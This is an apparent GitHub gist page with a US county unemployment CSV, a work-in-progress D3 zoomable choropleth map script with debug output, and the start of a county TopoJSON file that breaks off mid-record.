08,091,&quot;Ouray County, CO&quot;,0.043
08,093,&quot;Park County, CO&quot;,0.034
08,095,&quot;Phillips County, CO&quot;,0.024
08,097,&quot;Pitkin County, CO&quot;,0.038
08,099,&quot;Prowers County, CO&quot;,0.041
08,101,&quot;Pueblo County, CO&quot;,0.057
08,103,&quot;Rio Blanco County, CO&quot;,0.053
08,105,&quot;Rio Grande County, CO&quot;,0.063
08,107,&quot;Routt County, CO&quot;,0.032
08,109,&quot;Saguache County, CO&quot;,0.061
08,111,&quot;San Juan County, CO&quot;,0.041
08,113,&quot;San Miguel County, CO&quot;,0.037
08,115,&quot;Sedgwick County, CO&quot;,0.034
08,117,&quot;Summit County, CO&quot;,0.025
08,119,&quot;Teller County, CO&quot;,0.044
08,121,&quot;Washington County, CO&quot;,0.025
08,123,&quot;Weld County, CO&quot;,0.038
08,125,&quot;Yuma County, CO&quot;,0.027
09,000,Connecticut,0.056
09,001,&quot;Fairfield County, CT&quot;,0.053
09,003,&quot;Hartford County, CT&quot;,0.059
09,005,&quot;Litchfield County, CT&quot;,0.05
09,007,&quot;Middlesex County, CT&quot;,0.048
09,009,&quot;New Haven County, CT&quot;,0.061
09,011,&quot;New London County, CT&quot;,0.058
09,013,&quot;Tolland County, CT&quot;,0.048
09,015,&quot;Windham County, CT&quot;,0.062
10,000,Delaware,0.05
10,001,&quot;Kent County, DE&quot;,0.054
10,003,&quot;New Castle County, DE&quot;,0.047
10,005,&quot;Sussex County, DE&quot;,0.05
11,000,District of Columbia,0.069
11,001,District of Columbia,0.069
12,000,Florida,0.054
12,001,&quot;Alachua County, FL&quot;,0.045
12,003,&quot;Baker County, FL&quot;,0.054
12,005,&quot;Bay County, FL&quot;,0.054
12,007,&quot;Bradford County, FL&quot;,0.048
12,009,&quot;Brevard County, FL&quot;,0.059
12,011,&quot;Broward County, FL&quot;,0.05
12,013,&quot;Calhoun County, FL&quot;,0.061
12,015,&quot;Charlotte County, FL&quot;,0.059
12,017,&quot;Citrus County, FL&quot;,0.074
12,019,&quot;Clay County, FL&quot;,0.049
12,021,&quot;Collier County, FL&quot;,0.052
12,023,&quot;Columbia County, FL&quot;,0.054
12,027,&quot;DeSoto County, FL&quot;,0.06
12,029,&quot;Dixie County, FL&quot;,0.061
12,031,&quot;Duval County, FL&quot;,0.057
12,033,&quot;Escambia County, FL&quot;,0.056
12,035,&quot;Flagler County, FL&quot;,0.062
12,037,&quot;Franklin County, FL&quot;,0.046
12,039,&quot;Gadsden County, FL&quot;,0.07
12,041,&quot;Gilchrist County, FL&quot;,0.055
12,043,&quot;Glades County, FL&quot;,0.071
12,045,&quot;Gulf County, FL&quot;,0.051
12,047,&quot;Hamilton County, FL&quot;,0.051
12,049,&quot;Hardee County, FL&quot;,0.067
12,051,&quot;Hendry County, FL&quot;,0.103
12,053,&quot;Hernando County, FL&quot;,0.068
12,055,&quot;Highlands County, FL&quot;,0.074
12,057,&quot;Hillsborough County, FL&quot;,0.05
12,059,&quot;Holmes County, FL&quot;,0.062
12,061,&quot;Indian River County, FL&quot;,0.068
12,063,&quot;Jackson County, FL&quot;,0.058
12,065,&quot;Jefferson County, FL&quot;,0.058
12,067,&quot;Lafayette County, FL&quot;,0.045
12,069,&quot;Lake County, FL&quot;,0.054
12,071,&quot;Lee County, FL&quot;,0.05
12,073,&quot;Leon County, FL&quot;,0.05
12,075,&quot;Levy County, FL&quot;,0.057
12,077,&quot;Liberty County, FL&quot;,0.057
12,079,&quot;Madison County, FL&quot;,0.062
12,081,&quot;Manatee County, FL&quot;,0.05
12,083,&quot;Marion County, FL&quot;,0.064
12,085,&quot;Martin County, FL&quot;,0.052
12,086,&quot;Miami-Dade County, FL&quot;,0.061
12,087,&quot;Monroe County, FL&quot;,0.035
12,089,&quot;Nassau County, FL&quot;,0.05
12,091,&quot;Okaloosa County, FL&quot;,0.045
12,093,&quot;Okeechobee County, FL&quot;,0.062
12,095,&quot;Orange County, FL&quot;,0.049
12,097,&quot;Osceola County, FL&quot;,0.057
12,099,&quot;Palm Beach County, FL&quot;,0.05
12,101,&quot;Pasco County, FL&quot;,0.058
12,103,&quot;Pinellas County, FL&quot;,0.049
12,105,&quot;Polk County, FL&quot;,0.062
12,107,&quot;Putnam County, FL&quot;,0.072
12,109,&quot;St. Johns County, FL&quot;,0.039
12,111,&quot;St. Lucie County, FL&quot;,0.062
12,113,&quot;Santa Rosa County, FL&quot;,0.048
12,115,&quot;Sarasota County, FL&quot;,0.05
12,117,&quot;Seminole County, FL&quot;,0.048
12,119,&quot;Sumter County, FL&quot;,0.075
12,121,&quot;Suwannee County, FL&quot;,0.055
12,123,&quot;Taylor County, FL&quot;,0.066
12,125,&quot;Union County, FL&quot;,0.048
12,127,&quot;Volusia County, FL&quot;,0.057
12,129,&quot;Wakulla County, FL&quot;,0.046
12,131,&quot;Walton County, FL&quot;,0.046
12,133,&quot;Washington County, FL&quot;,0.059
13,000,Georgia,0.058
13,001,&quot;Appling County, GA&quot;,0.071
13,003,&quot;Atkinson County, GA&quot;,0.056
13,005,&quot;Bacon County, GA&quot;,0.055
13,007,&quot;Baker County, GA&quot;,0.073
13,009,&quot;Baldwin County, GA&quot;,0.078
13,011,&quot;Banks County, GA&quot;,0.054
13,013,&quot;Barrow County, GA&quot;,0.052
13,015,&quot;Bartow County, GA&quot;,0.057
13,017,&quot;Ben Hill County, GA&quot;,0.09
13,019,&quot;Berrien County, GA&quot;,0.07
13,021,&quot;Bibb County, GA&quot;,0.066
13,023,&quot;Bleckley County, GA&quot;,0.091
13,025,&quot;Brantley County, GA&quot;,0.073
13,027,&quot;Brooks County, GA&quot;,0.059
13,029,&quot;Bryan County, GA&quot;,0.052
13,031,&quot;Bulloch County, GA&quot;,0.06
13,033,&quot;Burke County, GA&quot;,0.08
13,035,&quot;Butts County, GA&quot;,0.064
13,037,&quot;Calhoun County, GA&quot;,0.061
13,039,&quot;Camden County, GA&quot;,0.055
13,043,&quot;Candler County, GA&quot;,0.056
13,045,&quot;Carroll County, GA&quot;,0.066
13,047,&quot;Catoosa County, GA&quot;,0.051
13,049,&quot;Charlton County, GA&quot;,0.062
13,051,&quot;Chatham County, GA&quot;,0.057
13,053,&quot;Chattahoochee County, GA&quot;,0.088
13,055,&quot;Chattooga County, GA&quot;,0.062
13,057,&quot;Cherokee County, GA&quot;,0.046
13,059,&quot;Clarke County, GA&quot;,0.059
13,061,&quot;Clay County, GA&quot;,0.113
13,063,&quot;Clayton County, GA&quot;,0.075
13,065,&quot;Clinch County, GA&quot;,0.068
13,067,&quot;Cobb County, GA&quot;,0.05
13,069,&quot;Coffee County, GA&quot;,0.066
13,071,&quot;Colquitt County, GA&quot;,0.064
13,073,&quot;Columbia County, GA&quot;,0.05
13,075,&quot;Cook County, GA&quot;,0.066
13,077,&quot;Coweta County, GA&quot;,0.052
13,079,&quot;Crawford County, GA&quot;,0.061
13,081,&quot;Crisp County, GA&quot;,0.069
13,083,&quot;Dade County, GA&quot;,0.054
13,085,&quot;Dawson County, GA&quot;,0.05
13,087,&quot;Decatur County, GA&quot;,0.067
13,089,&quot;DeKalb County, GA&quot;,0.059
13,091,&quot;Dodge County, GA&quot;,0.083
13,093,&quot;Dooly County, GA&quot;,0.075
13,095,&quot;Dougherty County, GA&quot;,0.077
13,097,&quot;Douglas County, GA&quot;,0.062
13,099,&quot;Early County, GA&quot;,0.068
13,101,&quot;Echols County, GA&quot;,0.047
13,103,&quot;Effingham County, GA&quot;,0.05
13,105,&quot;Elbert County, GA&quot;,0.074
13,107,&quot;Emanuel County, GA&quot;,0.085
13,109,&quot;Evans County, GA&quot;,0.055
13,111,&quot;Fannin County, GA&quot;,0.06
13,113,&quot;Fayette County, GA&quot;,0.051
13,115,&quot;Floyd County, GA&quot;,0.066
13,117,&quot;Forsyth County, GA&quot;,0.044
13,119,&quot;Franklin County, GA&quot;,0.063
13,121,&quot;Fulton County, GA&quot;,0.058
13,123,&quot;Gilmer County, GA&quot;,0.058
13,125,&quot;Glascock County, GA&quot;,0.066
13,127,&quot;Glynn County, GA&quot;,0.06
13,129,&quot;Gordon County, GA&quot;,0.057
13,131,&quot;Grady County, GA&quot;,0.06
13,133,&quot;Greene County, GA&quot;,0.07
13,135,&quot;Gwinnett County, GA&quot;,0.051
13,137,&quot;Habersham County, GA&quot;,0.056
13,139,&quot;Hall County, GA&quot;,0.047
13,141,&quot;Hancock County, GA&quot;,0.1
13,143,&quot;Haralson Cou</code></pre><p><em>Truncated — <a href="https://gist.github.com/74c955c65eec82f8425616d26fabee4f">view the full gist</a>.</em></p>
<h3>index.html</h3><pre><code class="language-html">&lt;!DOCTYPE html&gt;
&lt;meta charset=&quot;utf-8&quot;&gt;
&lt;style&gt;
body { background: transparent; }
path { stroke: #333; stroke-width: 1; }
path:hover { stroke-width: 3; }
  #console {
    font-size: 11px;
    font-family: &quot;Courier&quot;, &quot;fixed-width&quot;;
    width: 400px;
    height: 150px;
    position: fixed;
    top: 0;
		left: 0;
    padding: 4px;
    overflow: auto;
    background-color: white;
    border: 2px solid black;
  }
  #console p {
    margin-top: 1px;
    margin-bottom: 0
  }
  svg {
    border: 5px solid red;
  }
  path {
    stroke: white;
  }
&lt;/style&gt;
&lt;body&gt;
&lt;script src=&quot;//cdnjs.cloudflare.com/ajax/libs/d3/3.5.17/d3.min.js&quot;&gt;&lt;/script&gt;
&lt;!-- &lt;script src=&quot;http://d3js.org/queue.v1.min.js&quot;&gt;&lt;/script&gt; --&gt;

&lt;script src=&quot;//d3js.org/topojson.v1.min.js&quot;&gt;&lt;/script&gt;
  
  &lt;div id=&quot;console&quot;&gt;&lt;/div&gt;
  
&lt;svg id=&quot;zoomy-map&quot; width=&quot;400&quot; height=&quot;300&quot;&gt;&lt;/svg&gt;
  
&lt;script&gt;


  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;v0.2&apos;)

  
  
  
var width = 960
var height = 600
var padding = 20

var allData = []

var color = d3.scale.threshold()
    .domain([0.028, 0.038, 0.048, 0.058, 0.068, 0.078])
    .range([&apos;#4d9221&apos;, &apos;#a1d76a&apos;, &apos;#e6f5d0&apos;, &apos;#f7f7f7&apos;, &apos;#fde0ef&apos;, &apos;#e9a3c9&apos;, &apos;#c51b7d&apos;])

var projection = d3.geo.albers()
    .precision(0)
    .scale(height * 2).translate([width / 2, height / 2])

var path = d3.geo.path().projection(projection)

var svg = d3.select(&apos;#zoomy-map&apos;)
    //.append(&apos;svg&apos;)
    .attr(&apos;width&apos;, width)
    .attr(&apos;height&apos;, height)

  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;width &apos;+width)
  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;height &apos;+height)


/*
queue()
    .defer(d3.csv, &apos;data.csv&apos;, function (d) {
        return {
            id: +(d.state + d.county),
            state: d.state,
            county: d.county,
            unemployment: +d.unemployment
        }
    })
    .defer(d3.json, &apos;us-states.json&apos;)
    .defer(d3.json, &apos;us-counties.json&apos;)
    .awaitAll(initialize)
*/

d3.csv(&apos;data.csv&apos;, function(error, data){
  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;data.csv loaded&apos;)
  allData.push(data)
 
  
  d3.json(&apos;us-states.json&apos;, function(error, data){
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;us-states.json loaded&apos;)
    allData.push(data)
    
    d3.json(&apos;us-counties.json&apos;, function(error, data){
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;us-counties.json loaded&apos;)
      
      allData.push(data)
      allData[0].forEach(function(d,i){
        if(i&lt;10){ console.log(&apos;foreach d&apos;, d)}
        allData[0][i] = {
        &apos;id&apos;: +(d.state + d.county),
         &apos;county&apos;: d.county,
        &apos;state&apos;: d.state,
        &apos;unemployment&apos;: +d.unemployment
        }
      })
      
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;allData[0] length: &apos;+allData[0].length)
      
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;allData[1] length: &apos;+allData[1].arcs.length)
      
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;allData[2] length: &apos;+allData[2].arcs.length)
      
      console.log(&apos;======&gt; alldata&apos;, allData)
      initialize({},allData)
    })
  })
})

function initialize(error, results) {
    //if (error) { throw error }
  
  	svg.append(&apos;rect&apos;)
    .attr(&apos;width&apos;, 100)
    .attr(&apos;height&apos;, 100)
    .attr(&apos;fill&apos;,&apos;red&apos;)
  	.attr(&apos;transform&apos;, &apos;translate(200,200)&apos;)
  
  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;running initialize()&apos;)

    var data = results[0]
    var states = topojson.feature(results[1], results[1].objects.states).features
    var counties = topojson.feature(results[2], results[2].objects.counties).features
    
    console.log(&apos;states --&gt;&apos;, states)

    states.forEach(function (f,i) {
      
      	if(i&lt;5){ 
            //d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;state data &apos;+JSON.stringify(f))
          //console.log(&apos;--&gt; f &apos;,f, &apos;f.id&apos;, f.id)
          //console.log(&apos;--&gt; data find&apos;, data.find(function (d,i) {
            //if(i&lt;10){ console.log(&apos;--&gt; find d&apos;, d)}
            //return d.id === f.id
          //}))    
        }
        f.properties = data.find(function (d) { return d.id === f.id })
    })
    
    console.log(&apos;states after foreach ==&gt;&apos;, states)

    counties.forEach(function (f) {
        f.properties = data.find(function (d) { return d.id === f.id }) || {}
    })

    var statePaths = svg.selectAll(&apos;path&apos;)
        .data(states)
        .enter().append(&apos;path&apos;)
        .attr(&apos;class&apos;, &apos;state&apos;)
        .attr(&apos;d&apos;, path)
        .style(&apos;fill&apos;, function (d) { 
          //console.log(d)
          return color(d.properties.unemployment) 
        })
        .on(&apos;click&apos;, function (d) { stateZoom(d.id) })

    function usZoom() {
      	alert(&quot;US Zoom&quot;);
        var t = d3.transition().duration(800)

        projection.scale(height * 2).translate([width / 2, height / 2])

        statePaths.transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;fill&apos;, function (d) { return color(d.properties.unemployment) })

        svg.selectAll(&apos;.county&apos;)
            .data([])
            .exit().transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;opacity&apos;, 0)
            .remove()
    }

    function stateZoom(id) {
				alert(&quot;State Zoom&quot;);
        var state = states.find(function (d) { return d.id === id })
        var stateCounties = counties.filter(function (d) {
            return d.id &gt; id &amp;&amp; d.id &lt; id + 1000
        })

        var t = d3.transition().duration(800)

        var countyPaths = svg.selectAll(&apos;.county&apos;)
            .data(stateCounties, function (d) { return d.id })

        var enterCountyPaths = countyPaths.enter().append(&apos;path&apos;)
            .attr(&apos;class&apos;, &apos;county&apos;)
            .attr(&apos;d&apos;, path)
            .style(&apos;fill&apos;, function (d) { return color(d.properties.unemployment) })
            .style(&apos;opacity&apos;, 0)
            .on(&apos;click&apos;, function () { usZoom() })

        projection.fitExtent(
            [[padding, padding], [width - padding, height - padding]],
            state
        )

        statePaths.transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;fill&apos;, &apos;#444&apos;)

        enterCountyPaths.transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;opacity&apos;, 1)

        countyPaths.exit().transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;opacity&apos;, 0)
            .remove()
    }
}

&lt;/script&gt;
&lt;/body&gt;
</code></pre>
<h3>us-counties.json</h3><pre><code class="language-json">{&quot;type&quot;:&quot;Topology&quot;,&quot;objects&quot;:{&quot;counties&quot;:{&quot;type&quot;:&quot;GeometryCollection&quot;,&quot;bbox&quot;:[-179.1473399999999,17.67439566600018,179.7784800000003,71.38921046500008],&quot;geometries&quot;:[{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53073,&quot;arcs&quot;:[[[0,1,2]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30105,&quot;arcs&quot;:[[3,4,5,6,7,8]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30029,&quot;arcs&quot;:[[9,10,11,12,13,14,15,16,17,18]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16021,&quot;arcs&quot;:[[19,20,21,22]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30071,&quot;arcs&quot;:[[-8,23,24,25,26,27]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38079,&quot;arcs&quot;:[[28,29,30,31]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30053,&quot;arcs&quot;:[[-18,32,33,-20,34]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38009,&quot;arcs&quot;:[[-30,35,36,37,38]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30035,&quot;arcs&quot;:[[39,40,-10,41]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30041,&quot;arcs&quot;:[[42,43,44,45]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30005,&quot;arcs&quot;:[[-27,46,47,-46,48]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30019,&quot;arcs&quot;:[[49,50,-4,51]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38067,&quot;arcs&quot;:[[52,53,54,55]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27069,&quot;arcs&quot;:[[56,57,-53,58]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38095,&quot;arcs&quot;:[[59,60,61,-32,62,63]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38019,&quot;arcs&quot;:[[-55,64,65,-64,66]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53047,&quot;arcs&quot;:[[67,68,69,70,71,72,-1,73]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53065,&quot;arcs&quot;:[[74,75,76,77,78]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53051,&quot;arcs&quot;:[[-22,79,80,-75,81]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53019,&quot;arcs&quot;:[[-78,82,-68,83]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30051,&quot;arcs&quot;:[[84,85,86,-44,87]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38023,&quot;arcs&quot;:[[88,89,90,91]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38013,&quot;arcs&quot;:[[92,93,94,95,-89,96]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30101,&quot;arcs&quot;:[[97,-86,98,-40]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38075,&quot;arcs&quot;:[[99,100,-93,101,-38]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27135,&quot;arcs&quot;:[[102,103,-57,104,105]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30091,&quot;arcs&quot;:[[-91,106,107,-50,108]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16017,&quot;arcs&quot;:[[-34,109,110,111,112,-80,-21]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38101,&quot;arcs&quot;:[[-101,113,114,115,-94]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53055,&quot;arcs&quot;:[[[116]],[[117]],[[118]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27071,&quot;arcs&quot;:[[119,120,121,122,123]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53057,&quot;arcs&quot;:[[[124,-2,-73,125,126,127]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38105,&quot;arcs&quot;:[[-96,128,129,130,-107,-90]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38049,&quot;arcs&quot;:[[131,132,133,-114,-100,-37]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27137,&quot;arcs&quot;:[[134,135,136,137,138,139,-120,140]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30085,&quot;arcs&quot;:[[-108,-131,141,142,-5,-51]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53007,&quot;arcs&quot;:[[-72,143,144,145,146,-126]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38061,&quot;arcs&quot;:[[147,148,149,-129,-95,-116]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27089,&quot;arcs&quot;:[[150,151,152,153,154,-58,-104]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38069,&quot;arcs&quot;:[[-62,155,156,157,-132,-36,-29]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:38071,&quot;arcs&quot;:[[[158]],[[159,160,161,-60,-66]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38099,&quot;arcs&quot;:[[-54,-155,162,163,-160,-65]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27007,&quot;arcs&quot;:[[-122,164,165,166,167,168,-151,-103,169]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30073,&quot;arcs&quot;:[[-99,-85,170,171,-11,-41]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53029,&quot;arcs&quot;:[[[172,173]],[[174]]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53009,&quot;arcs&quot;:[[[175,176]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38005,&quot;arcs&quot;:[[-61,-162,177,178,179,-156],[-159]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30015,&quot;arcs&quot;:[[-48,180,181,182,183,-171,-88,-43]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53061,&quot;arcs&quot;:[[[-147,184,185,-173,186,-127]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30089,&quot;arcs&quot;:[[-17,187,188,189,190,-110,-33]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27075,&quot;arcs&quot;:[[191,192,-135,193]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38063,&quot;arcs&quot;:[[194,195,196,197,-178,-161,-164]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38035,&quot;arcs&quot;:[[-154,198,199,200,-195,-163]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27119,&quot;arcs&quot;:[[201,202,203,204,205,206,207,-199,-153]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27113,&quot;arcs&quot;:[[-169,208,-204,209,-202,-152]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30083,&quot;arcs&quot;:[[210,211,212,213,-142]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53017,&quot;arcs&quot;:[[214,215,-144,-71]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38053,&quot;arcs&quot;:[[-150,216,217,218,219,-211,-130]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53031,&quot;arcs&quot;:[[[220,221,222,-176,223]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30099,&quot;arcs&quot;:[[-184,224,225,-12,-172]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30055,&quot;arcs&quot;:[[-214,226,227,228,-6,-143]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16079,&quot;arcs&quot;:[[-191,229,230,231,232,233,-111]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30047,&quot;arcs&quot;:[[234,-188,-16]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53063,&quot;arcs&quot;:[[-81,-113,235,236,237,238,-76]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27029,&quot;arcs&quot;:[[239,240,241,-205,-209,-168]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16055,&quot;arcs&quot;:[[-234,242,-236,-112]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30033,&quot;arcs&quot;:[[-229,243,244,245,246,-24,-7]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27125,&quot;arcs&quot;:[[-203,-210]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53025,&quot;arcs&quot;:[[-70,247,248,249,250,251,252,-215]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53043,&quot;arcs&quot;:[[-83,-77,-239,253,254,-248,-69]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30049,&quot;arcs&quot;:[[255,256,257,258,259,-13,-226]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53035,&quot;arcs&quot;:[[[260]],[[261,262,263,264,265]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27061,&quot;arcs&quot;:[[-140,266,267,-165,-121]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38055,&quot;arcs&quot;:[[268,269,270,271,272,-148,-115,-134]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38027,&quot;arcs&quot;:[[-198,273,274,275,-179]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38103,&quot;arcs&quot;:[[-180,-276,276,277,278,279,-157]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38083,&quot;arcs&quot;:[[-158,-280,280,281,-269,-133]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38025,&quot;arcs&quot;:[[-273,282,283,284,-217,-149]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30027,&quot;arcs&quot;:[[-26,285,286,287,288,289,-181,-47]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30021,&quot;arcs&quot;:[[-213,290,291,-227]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53033,&quot;arcs&quot;:[[[292]],[[-146,293,294,295,-185]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30013,&quot;arcs&quot;:[[296,297,-256,-225,-183]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38091,&quot;arcs&quot;:[[-201,298,299,300,301,-196]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38039,&quot;arcs&quot;:[[-302,302,303,304,-274,-197]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38097,&quot;arcs&quot;:[[305,306,-299,-200,-208]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53045,&quot;arcs&quot;:[[[307,-265,308,309,310,311,-221]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30063,&quot;arcs&quot;:[[-15,312,313,314,315,316,317,-189,-235]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30077,&quot;arcs&quot;:[[-260,318,319,320,-313,-14]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30069,&quot;arcs&quot;:[[-247,321,322,-286,-25]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53037,&quot;arcs&quot;:[[-216,-253,323,-294,-145]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38031,&quot;arcs&quot;:[[-305,324,-277,-275]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38057,&quot;arcs&quot;:[[325,326,327,-283,-272]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53027,&quot;arcs&quot;:[[[-312,328,329,330,331,-222]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27087,&quot;arcs&quot;:[[332,333,-206,-242]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27107,&quot;arcs&quot;:[[-207,-334,334,335,336,-306]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30061,&quot;arcs&quot;:[[-318,337,-230,-190]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27021,&quot;arcs&quot;:[[338,339,340,341,342,343,-166,-268]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23003,&quot;arcs&quot;:[[344,345,346,347,348]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30045,&quot;arcs&quot;:[[-290,349,350,-297,-182]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16009,&quot;arcs&quot;:[[-233,351,352,-237,-243]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27057,&quot;arcs&quot;:[[-344,353,354,-240,-167]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53053,&quot;arcs&quot;:[[[-295,355,356,357,358]],[[-262,359]],[[-309,-264,360]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30109,&quot;arcs&quot;:[[-220,361,362,363,-291,-212]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38007,&quot;arcs&quot;:[[-285,364,365,366,-218]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38033,&quot;arcs&quot;:[[-367,367,368,-362,-219]]},{&quot;type&quot;:&quot;Pol